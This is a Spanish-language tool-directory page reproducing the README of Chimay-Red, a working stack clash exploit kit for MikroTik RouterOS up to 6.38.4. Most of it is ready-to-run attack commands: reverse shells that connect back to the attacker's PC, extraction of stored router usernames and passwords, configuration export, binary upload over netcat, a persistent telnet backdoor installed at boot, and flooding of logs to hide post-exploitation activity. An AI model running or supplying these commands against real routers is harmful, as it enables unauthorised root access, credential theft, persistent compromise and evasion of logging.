Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Chimay-Red — POC funcional del exploit de Mikrotik de las filtraciones de la CIA Vault 7 | Kitploit
Herramientas/GitHubGitHub/bignerd95/chimay-red
Seguridad de Sistemas EmbebidosSeguridad IoTAnálisis de VulnerabilidadesExplotaciónIngeniería InversaShellcodePost-ExplotaciónPruebas de PenetraciónSeguridad de Hardware e IoTDesarrollo de PayloadsExplotación de Binarios
6682137hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubbignerd95/chimay-red

Chimay-Red

POC funcional del exploit de Mikrotik de las filtraciones de la CIA Vault 7

Ver Repositorio

Chimay-Red

Ingeniería inversa del exploit de Mikrotik de las filtraciones de la CIA Vault 7

Consulta el PDF para más información (no actualizado)

Versiones vulnerables

Hasta RouterOS 6.38.4

Novedades en 6.38.5 (2017-Mar-09 11:32):
!) www - corregida vulnerabilidad del servidor http;

Pruebas de concepto

CrashPOC

Crash simple enviando -1 como content-length en la cabecera post

StackClashPOC

Exploit de stack clash usando dos hilos, sin cadena ROP

Exploits funcionales

Como el ROP se crea dinámicamente, tienes que extraer el binario www del firmware de RouterOS.
(Está ubicado en /nova/bin/)
Verifica que la versión en ejecución sea la misma.
Para simplificar la extracción puedes usar:

$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary

StackClash_x86

Exploit de stack clash usando dos hilos con cadena ROP para ejecutar comandos bash

Reverse shell:

En una shell:

$ nc -l -p 1234 

En otra shell:

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"

Donde:

  • IP de RouterOS: 192.168.8.1
  • IP del PC: 192.168.8.5

Extraer usuarios y contraseñas

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (espera algunos segundos a que www se reinicie)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -

Exportar configuraciones

Puedes ejecutar comandos en la consola de Mikrotik con /nova/bin/info.
Ej: /nova/bin/info "/system reboot" reiniciará el sistema.

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (es un poco lento ejecutar el comando /export)
$ curl -s http://192.168.8.1/winbox/index

StackClash_mips

Exploit de stack clash usando dos hilos con cadena ROP + shell code para ejecutar comandos bash
En la versión mips de www la pila es RWX, así que podemos saltar a la pila.

Puedes ejecutar el mismo comando bash que en la versión x86.

LCD

Comando divertido

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

image

Sonido de Super Mario

¡No lo hagas! ;-P

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"

Subir binarios

Para subir busybox-mips a /ram/busybox
En una shell:

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; } | nc -l -q 0 -p 1234

En otra shell (ten en cuenta que este es el comando de reverse shell):

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

y espera hasta que la conexión se cierre automáticamente.
(Una vez que el archivo esté subido, ejecuta de nuevo la reverse shell (esta vez solo escuchando con nc -l -p 1234) y encontrarás busybox dentro de /ram/)

Servidor telnet persistente

Puedes ejecutar un script en cada arranque creando un script bash en /flash/etc/rc.d/run.d/.
¡Presta atención a establecer los permisos de ejecución, o tu router se quedará atascado en el arranque y tendrás que restaurar el firmware!
Este ejemplo habilita un servidor telnet persistente en el puerto 23000.
En una shell:

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips 
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234

En otra shell (ten en cuenta que este es el comando de reverse shell):

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

y espera hasta que aparezca Done! Rebooting....
Una vez que el router esté de nuevo en marcha:

$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.


MikroTik v6.38.4 (stable)
/ #

StackClash_resock_mips

Reutiliza el socket http para lanzar una shell, así puedes tener una shell sin una conexión inversa.

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode

Got root ;-)

Subir binarios sin una reverse shell

Para subir busybox-mips a /ram/busybox

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox   
[...]   
Uploading busybox-mips in /ram/busybox...   
Upload done!
sh: turning off NDELAY mode

Got root ;-)

chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]

Cambiar el logo de arranque

Solo se admiten archivos RGB Bitmap de 24 bits (sin comprimir).
Tamaño máximo: 160px de ancho, 76px de alto
Puedes encontrar un ejemplo aquí

$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp  
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode

Got root ;-)

reboot
*** Connection closed by remote host ***

image

Ocultar logs

Para eliminar los logs después de tus acciones de post-explotación

/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"

FAQ

¿De dónde se obtiene el archivo chimay-red.py, en el que se basa este kit de herramientas?

Esto es una ingeniería inversa de documentación filtrada de la CIA.
No hay ningún chimay-red.py disponible públicamente.

No entiendo cómo funciona el stack clash.

Actualizaré el PDF tan pronto como tenga suficiente tiempo, de todos modos:
Sabemos que:

  • cada hilo tiene 128KB de pila
  • la pila de cada hilo se apila encima de la del hilo anterior.
Descargar herramienta